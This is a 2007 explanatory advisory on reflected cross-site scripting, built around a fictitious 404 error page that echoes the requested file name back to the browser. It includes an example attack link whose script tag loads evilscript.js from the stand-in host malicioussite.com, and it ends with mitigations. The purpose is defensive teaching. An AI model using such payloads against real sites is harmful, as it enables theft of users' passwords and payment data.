Cross-Site Scripting (XSS)

A web site may inadvertently include malicious script or HTML tags in a dynamically generated page based on unvalidated input from untrustworthy sources. This can be a problem when a web server does not adequately ensure that dynamically generated pages are properly validated to prevent unintended script or HTML tags from being presented to the user. It is possible to use a "cross-site" scripting technique to inject malicious content, such as script (JavaScript, VBScript, etc.) or HTML into a web page.

The essence of cross-site scripting is that an attacker uses a specially crafted URL to cause a web site to return arbitrary content (often script or HTML) to a victim's web browser. An attacker may use social engineering techniques to entice the user to click on the specially crafted URL. The malicious script runs with the privileges of a legitimate script originating from the legitimate web site. Many web applications are vulnerable to such a technique. The following example uses a fictitious XSS vulnerability in a default error page.

For example, A valid URL request might be

http://www.example.com/FILENAME.html

However, if the requested document "FILENAME.html" did not exist, the web site could return an error message such as

<HTML>
404 page does not exist: FILENAME.html
....
</HTML>

Notice that "FILENAME.html" is a string that was inputed by a user and is included in the page returned by the web site straight to the client's browser.

If a malicious web site offered a link to example.com that looked something like this

<A HREF="http://www.example.com/<script%20SRC='http://www.malicioussite.com/evilscript.js'></script>">Click Here</a>

then the "FILENAME.html" submitted to example.com is

<script SRC='http://www.malicioussite.com/evilscript.js'></script>

and example.com uses its ordinary routines to generate an error page to you that reads

<HTML> 404 page not found: <script SRC='http://www.malicioussite.com/evilscript.js'></script> .... </HTML>

In effect, malicioussite.com has managed to "inject" a JavaScript program of its choosing into the page returned to the user by example.com. The JavaScript runs as if it originated at example.com and can therefore process events in that document, but it can also communicate with malicioussite.com by virtue of having come from there. Thus, this vulnerability could be used to "sniff" sensitive data from within the web page, including passwords, credit card numbers, and any arbitrary information the user inputs. There are many variants of this problem.

The ultimate fix to this problem involves recoding a very large number of web sites so that they properly filter and validate the input they receive and properly encode or filter the output before returning it to the user or acting upon it. This process is a very large undertaking.

Web masters can install the vendor patches for their products. A web master may also change the default error pages, search engine responses, and other dynamically generated pages to not include the file name passed in by any user. Clients may disable JavaScript (or VBScript or other scripting languages), but this doesn't address the problem of simply inserting malicious HTML, and it can cause undesired functionality.

Last updated July 2, 2007